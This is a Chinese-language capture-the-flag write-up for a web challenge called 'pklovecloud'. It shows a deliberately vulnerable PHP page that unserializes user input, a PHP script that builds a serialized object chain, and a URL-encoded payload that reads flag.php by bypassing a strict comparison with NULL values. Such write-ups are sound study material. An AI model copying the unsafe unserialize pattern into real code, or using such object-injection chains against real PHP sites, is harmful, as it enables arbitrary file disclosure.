2021-第五空间智能安全大赛-Web-pklovecloud

<?php  
include 'flag.php';
class pkshow 
{  
    function echo_name()     
    {          
        return "Pk very safe^.^";      
    }  
} 

class acp 
{   
    protected $cinder;  
    public $neutron;
    public $nova;
    function __construct() 
    {      
        $this->cinder = new pkshow;
    }  
    function __toString()      
    {          
        if (isset($this->cinder))  
            return $this->cinder->echo_name();      
    }  
}  

class ace
{    
    public $filename;     
    public $openstack;
    public $docker; 
    function echo_name()      
    {   
        $this->openstack = unserialize($this->docker);
        $this->openstack->neutron = $heat;
        if($this->openstack->neutron === $this->openstack->nova)
        {
        $file = "./{$this->filename}";
            if (file_get_contents($file))         
            {              
                return file_get_contents($file); 
            }  
            else 
            { 
                return "keystone lost~"; 
            }    
        }
    }  
}  

if (isset($_GET['pks']))  
{
    $logData = unserialize($_GET['pks']);
    echo $logData; 
} 
else 
{ 
    highlight_file(__file__); 
}
?>

打开后给出源码，显然考察反序列化。
前面都比较好直接构造，主要是如何绕过这里,因为这里不知道这个$heat等于多少

if($this->openstack->neutron === $this->openstack->nova)

这里可以使用NULL===NULL进行绕过
经过测试发现这里

$this->openstack = unserialize($this->docker);

当docker为空时，可以绕过。
测试如下：

<?php
error_reporting(0);
$b='';
var_dump(unserialize($b));
var_dump($b->a);
if($b->a===$b->b)
{
    echo 'cool';
}
else echo 'nono';
?>

构造exp：

<?php
class acp 
{   
    public $cinder;  
    public $neutron;
    public $nova;
}
class ace
{    
    public $filename;     
    public $openstack;
    public $docker;
}
$b=new acp;
$c=new ace;
$b->cinder=$c;
$c->docker='';
$c->filename='/flag.php';
echo urlencode(serialize($b));


payload：
?pks=O%3A3%3A%22acp%22%3A3%3A%7Bs%3A6%3A%22cinder%22%3BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A9%3A%22%2Fflag.php%22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3A6%3A%22docker%22%3Bs%3A0%3A%22%22%3B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D

在源码发现flag

可以看到这里写出了heat值，而且比较复杂，所以我们真正意义上来比较heat的值来比较绕过是不现实的.